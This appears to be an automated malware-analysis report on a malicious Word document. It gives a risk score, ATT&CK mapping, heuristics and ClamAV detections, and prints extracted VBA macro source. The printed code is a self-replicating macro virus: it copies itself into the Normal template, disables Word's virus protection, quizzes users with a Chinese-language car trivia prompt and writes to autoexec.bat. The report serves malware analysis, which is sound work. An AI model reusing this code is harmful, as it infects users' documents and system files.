MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample contains VBA macros, including AutoOpen and Document_Open, which are commonly used to execute malicious code upon opening the document. The script attempts to copy its code to the Normal template and then presents the user with a series of seemingly unrelated questions, likely as a distraction or to delay detection. ClamAV detections indicate this is a known malicious document.
Heuristics 5
-
ClamAV: Doc.Trojan.Bptk-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Bptk-2
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 25657 bytes |
SHA-256: acddba4c04faeee65f046c29f8115c88f6a6ae501cbfbf3ae5e2f836b4cafbcf |
|||
|
Detection
ClamAV:
Doc.Trojan.Opey-4
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim DI As Boolean, TI As Boolean, d As Object, t As Object, Src As String, r As String
Private Sub Document_Close()
On Error Resume Next
Set d = ActiveDocument.VBProject.VBComponents.Item(1)
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
DI = d.codemodule.Find("长安公司汽研所 常识课", 1, 1, 10000, 10000)
TI = t.codemodule.Find("长安公司汽研所 常识课", 1, 1, 10000, 10000)
Options.VirusProtection = False
If DI And Not (TI) Then
Src = d.codemodule.Lines(1, d.codemodule.CountOfLines)
t.codemodule.DeleteLines 1, t.codemodule.CountOfLines
t.codemodule.AddFromString Src
NormalTemplate.Save
ElseIf TI And Not (DI) Then
If Day(Now()) = 1 Then
Do
r = UCase(InputBox("长安之星车长多少米?" & Chr(13) & Chr(13) _
& "A.3米4 B.3米5 C.3米55 D.3米7" & Chr(13) & Chr(13) _
& "要好好思考哟!", "紧急提问"))
Loop Until r <> ""
If r = "B" Then
MsgBox "好棒哟!"
GoTo 10
Else
MsgBox "唉!再给你一次机会."
Do
r = UCase(InputBox("长安之星FBA是什么型?" & Chr(13) & Chr(13) _
& "A.标准型 B.普通型 C.豪华型" & Chr(13) & Chr(13) _
& "想好了再回答!", "紧急提问"))
Loop Until r <> ""
If r = "C" Then
MsgBox "谢谢你的支持!"
GoTo 10
Else
MsgBox "笨蛋!给你最后一次机会."
Do
r = UCase(InputBox("安全气囊是干什么用的?" & Chr(13) & Chr(13) _
& "A.防止撞车 B.防止侧滑 C.撞车时保护驾驶员" & Chr(13) & Chr(13) _
& "这是最后一次机会哟!", "紧急提问"))
Loop Until r <> ""
If r = "C" Then
MsgBox "总算答对了!"
GoTo 10
Else
MsgBox "看来你还需要对长安之星多加了解..."
ActiveDocument.SaveAs "c:\lzc.vxd"
ActiveDocument.Close
Exit Sub
End If
End If
End If
End If
10:
Src = t.codemodule.Lines(1, t.codemodule.CountOfLines)
d.codemodule.DeleteLines 1, d.codemodule.CountOfLines
d.codemodule.AddFromString Src
ActiveDocument.Save
End If
End Sub
Private Sub Document_Open()
On Error Resume Next
Set d = ActiveDocument.VBProject.VBComponents.Item(1)
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
DI = d.codemodule.Find("长安公司汽研所 常识课", 1, 1, 10000, 10000)
TI = t.codemodule.Find("长安公司汽研所 常识课", 1, 1, 10000, 10000)
Options.VirusProtection = False
If DI And Not (TI) Then
t.codemodule.DeleteLines 1, t.codemodule.CountOfLines
ElseIf TI And Not (DI) Then
d.codemodule.DeleteLines 1, d.codemodule.CountOfLines
End If
End Sub
Attribute VB_Name = "A_OPEY_03"
Sub greetings()
On Error Resume Next
autoexecfile$ = "c:\autoexec.bat"
hFile = FreeFile
line1$ = ""
If ((Month(Date) = 12) And (Day(Date) = 25)) Or ((Month(Date) = 1) And (Day(Date) = 1)) Then
line1$ = "echo MERRY CHRISTMASS AND A HAPPY NEW YEAR !!!"
End If
If (Month(Date) = 11) And (Day(Date) = 1) Then
line1$ = "echo HAPPY HALLOWEEN !!!"
End If
If (Month(Date) = 2) And (Day(Date) = 14) Then
line1$ = "echo HAPPY VALENTINES DAY !!!"
End If
If line1$ <> "" Then
Open autoexecfile$ For Append Access Write As hFile
Print #hFile, "@echo off"
Print #hFile, line1$
Print #hFile, "echo from: OPEY A."
Print #hFile, "pause"
Close hFile
End If
End Sub
Sub OnlyYou()
On Error Resume Next
Call A_OPEY_03
NTInfected = False
For i = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
clan = NormalTemplate.VBProject.VBComponents(i).Name
If clan = "A_OPEY_03" Then NTInfe
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.